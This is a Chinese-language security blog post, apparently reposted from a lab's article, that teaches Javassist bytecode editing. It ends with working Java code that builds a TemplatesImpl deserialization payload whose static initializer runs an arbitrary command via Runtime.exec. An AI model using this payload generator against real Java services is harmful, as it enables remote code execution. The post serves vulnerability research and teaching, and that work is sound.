如何利用Javassist操作字节码?以制作TemplateImpl为例

admin 2026-01-05 18:16:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了利用Javassist库操作Java字节码的方法,详细讲解了CtClass和ClassPool的使用及类加载机制。核心部分演示了如何动态构造继承AbstractTranslet的恶意类,在静态代码块中植入命令以生成TemplatesImpl反序列化利用链所需的字节码。文章还涵盖了类的冻结与解冻机制,适用于安全开发与漏洞研究。 综合评分: 90 文章分类: 漏洞分析,代码审计,安全开发,漏洞POC


cover_image

如何利用Javassist操作字节码?以制作TemplateImpl为例

原创

Xyuxu

曜石安全实验室

2026年1月4日 19:31 北京

首先我们知道,Java 字节码以二进制形式存储在 .class 文件中,并由 JVM 在运行时加载和执行。而Javassist 就是一个用于操作和修改 Java 字节码 的类库。

官网介绍:

大体意思就是 一个用于编辑 Java 字节码的类库;它允许 Java 程序在运行时定义新类,并在 JVM 加载类文件时对其进行修改。并且提供了两个级别的 API , 源代码级别和字节码级别。如果用户使用源代码级别 API,无需了解 Java 字节码只是就能编辑类文件。另外,字节码级别 API 允许用户像其他编辑器一样直接编辑类文件。这里我们学习源代码级别API。

Maven依赖如下:

&nbsp;<dependency>&nbsp; &nbsp;&nbsp;<groupId>javassist</groupId>&nbsp; &nbsp;&nbsp;<artifactId>javassist</artifactId>&nbsp; &nbsp;&nbsp;<version>3.12.1.GA</version>&nbsp;</dependency>

用JavaAssist制作demo类

接下来先通过一个简单示例,使用 Javassist 动态创建一个类。在此之前,需要先了解 Javassist 中两个非常核心的类。

CtClass(compile-time class)是对类字节码结构的一种抽象表示,用于在类被 JVM 加载之前,对其进行分析和修改。 ClassPool 则是 CtClass 对象的容器,用于统一管理和缓存类的字节码表示。当需要某个类时,ClassPool 会按需读取类文件并构造对应的 CtClass 对象,并在内部进行缓存,方便后续重复使用。

package&nbsp;com.xyuxu.javasec.JavaAssist;import&nbsp;javassist.ClassPool;import&nbsp;javassist.CtClass;public&nbsp;class&nbsp;JavaAssistTest&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassPool&nbsp;pool&nbsp;=ClassPool.getDefault();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CtClass&nbsp;cc&nbsp;=pool.makeClass("Point");&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(cc.getName());&nbsp; &nbsp; }}

在上面的demo中,首先通过 ClassPool.getDefault() 获取一个使用系统默认搜索路径(classpath)的 ClassPool 对象。随后通过 makeClass("Point") 创建了一个名为 Point 的新类的 CtClass 对象,并将其赋值给变量 cc。此时该类仅存在于 Javassist 的内部表示中,尚未被加载到 JVM 中。

如何加载到JVM中呢? 最简单的方式就是 直接调用 cc.toClass

package&nbsp;com.xyuxu.javasec.JavaAssist;import&nbsp;javassist.ClassPool;import&nbsp;javassist.CtClass;public&nbsp;class&nbsp;JavaAssistTest&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassPool&nbsp;pool&nbsp;=ClassPool.getDefault();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CtClass&nbsp;cc&nbsp;=pool.makeClass("Point");&nbsp; &nbsp; &nbsp; &nbsp; cc.toClass();&nbsp; &nbsp; }}

或者利用 CtClass.toBytecode() + 自定义ClassLoader

package&nbsp;com.xyuxu.javasec.JavaAssist;import&nbsp;javassist.ClassPool;import&nbsp;javassist.CtClass;public&nbsp;class&nbsp;JavaAssistTest&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassPool&nbsp;pool&nbsp;=ClassPool.getDefault();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CtClass&nbsp;cc&nbsp;=pool.makeClass("Point");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] bytes= cc.toBytecode();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassLoader&nbsp;loader&nbsp;=&nbsp;new&nbsp;ClassLoader() {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;protected&nbsp;Class<?> findClass(String name) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;defineClass(name, bytes,&nbsp;0, bytes.length);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;clazz&nbsp;=&nbsp;loader.loadClass("Point");&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(clazz.getName());&nbsp; &nbsp; }}

这种方式可以通过不同的 ClassLoader 多次加载同名类,在构造利用链或内存马时非常有用。

除了加载到 JVM,CtClass 也支持直接将字节码写入本地文件,通过 writeFile() 方法即可:

package&nbsp;com.xyuxu.javasec.JavaAssist;import&nbsp;javassist.ClassPool;import&nbsp;javassist.CtClass;import&nbsp;javassist.CtMethod;public&nbsp;class&nbsp;JavaAssistTest&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassPool&nbsp;pool&nbsp;=ClassPool.getDefault();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CtClass&nbsp;cc&nbsp;=pool.makeClass("Point");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CtMethod&nbsp;method&nbsp;=&nbsp;CtMethod.make(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"public void sayHello() { System.out.println(\"Hello, World\"); }",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cc&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; cc.addMethod(method);&nbsp; &nbsp; &nbsp; &nbsp; cc.writeFile("JavaAssist");&nbsp; &nbsp; }}

在使用 CtClass 的过程中,以下几个方法是比较常用、也比较值得关注的:

  • addConstructor():添加构造方法
  • addField():添加成员变量
  • addInterface():添加接口
  • addMethod():添加方法
  • freeze():冻结类,禁止后续修改
  • defrost():解冻类,允许再次修改
  • detach():从 ClassPool 中移除
  • toBytecode():生成字节码数组
  • toClass():加载为 JVM 中的 Class 对象
  • writeFile():写入 .class 文件
  • setModifiers():设置访问修饰符

用JavaAssist制作恶意TemplateImpl类

接下来结合安全场景,利用 Javassist 构造一个恶意的 TemplatesImpl 对象。TemplatesImpl 是 Java 反序列化利用中非常经典的一个类。许多 Gadget 链最终都会触发其 getTransletInstance() 方法,该方法内部会动态加载并实例化字节码,从而执行恶意逻辑。

我们尝试用JavaAssist来制作这个恶意类。首先制作TemplatesImpl所需要的恶意字节码。

public&nbsp;static&nbsp;byte[]&nbsp;createTemplatesImplBytes(String command) throws Exception&nbsp;{&nbsp; &nbsp; ClassPool pool = ClassPool.getDefault();&nbsp; &nbsp;&nbsp;// 1. 创建一个全新的类&nbsp; &nbsp; CtClass cc = pool.makeClass("StubTransletPayload"&nbsp;+ System.nanoTime());&nbsp; &nbsp;&nbsp;// 2. 设置父类为 AbstractTranslet&nbsp; &nbsp; CtClass superClass = pool.get(AbstractTranslet.class.getName());&nbsp; &nbsp; cc.setSuperclass(superClass);&nbsp; &nbsp;&nbsp;// 3. 创建 static 代码块,插入恶意命令&nbsp; &nbsp; String safeCommand = command.replace("\\",&nbsp;"\\\\").replace("\"",&nbsp;"\\\"");&nbsp; &nbsp; String staticBlock =&nbsp;"java.lang.Runtime.getRuntime().exec(\""&nbsp;+ safeCommand +&nbsp;"\");";&nbsp; &nbsp; cc.makeClassInitializer().setBody("{"&nbsp;+ staticBlock +&nbsp;"}");&nbsp; &nbsp;&nbsp;// 4. 必须实现 AbstractTranslet 的两个抽象方法 (transform),否则类无法实例化&nbsp; &nbsp; String method1 =&nbsp;"public void transform("&nbsp;+ DOM.class.getName() +&nbsp;" document, "&nbsp;+ SerializationHandler.class.getName() +&nbsp;"[] handlers) throws "&nbsp;+ TransletException.class.getName() +&nbsp;" {}";&nbsp; &nbsp; String method2 =&nbsp;"public void transform("&nbsp;+ DOM.class.getName() +&nbsp;" document, "&nbsp;+ DTMAxisIterator.class.getName() +&nbsp;" iterator, "&nbsp;+ SerializationHandler.class.getName() +&nbsp;" handler) throws "&nbsp;+ TransletException.class.getName() +&nbsp;" {}";&nbsp; &nbsp; cc.addMethod(CtMethod.make(method1, cc));&nbsp; &nbsp; cc.addMethod(CtMethod.make(method2, cc));&nbsp; &nbsp;&nbsp;byte[] bytes = cc.toBytecode();&nbsp; &nbsp; cc.detach();&nbsp; &nbsp;&nbsp;return&nbsp;bytes;}

然后来制作恶意TemplatesImpl对象

public&nbsp;static&nbsp;TemplatesImpl&nbsp;createTemplatesImpl(final&nbsp;String command)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp;&nbsp;byte[] evilBytecode = createTemplatesImplBytes(command);&nbsp; &nbsp;&nbsp;final&nbsp;TemplatesImpl&nbsp;templates&nbsp;=&nbsp;new&nbsp;TemplatesImpl();&nbsp; &nbsp; Reflections.setFieldValue(templates,&nbsp;"_bytecodes",&nbsp;new&nbsp;byte[][]{evilBytecode});&nbsp; &nbsp; Reflections.setFieldValue(templates,&nbsp;"_name",&nbsp;"foo"&nbsp;+ System.nanoTime());&nbsp; &nbsp; Reflections.setFieldValue(templates,&nbsp;"_tfactory",&nbsp;new&nbsp;TransformerFactoryImpl());&nbsp; &nbsp;&nbsp;return&nbsp;templates;}

FrozenClasses

补充一个概念,当一个 CtClass 对象通过 writeFile()toClass() 或 toBytecode() 被转换为类文件形式后,Javassist 会将其标记为冻结状态(freeze)。冻结之后,便不再允许对该 CtClass 进行修改。这么做的原因在于 JVM 本身并不允许对已经加载的类进行重新加载或结构性修改。

CtClasss&nbsp;cc&nbsp;=&nbsp;...;&nbsp; &nbsp; :cc.writeFile();cc.defrost(); &nbsp;//解冻cc.setSuperclass(...); &nbsp;&nbsp;//可以修改了

不过,需要注意的是,冻结和解冻只作用于 CtClass 对象本身。通过 defrost() 解冻后,仍然可以继续修改 CtClass,只是这些修改并不会影响 JVM 中已经加载的 Class。如果需要生效,可以选择写出新的 class 文件,或者使用不同的 ClassLoader 再次加载。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:曜石安全实验室 Xyuxu《如何利用Javassist操作字节码?以制作TemplateImpl为例》

评论:0   参与:  0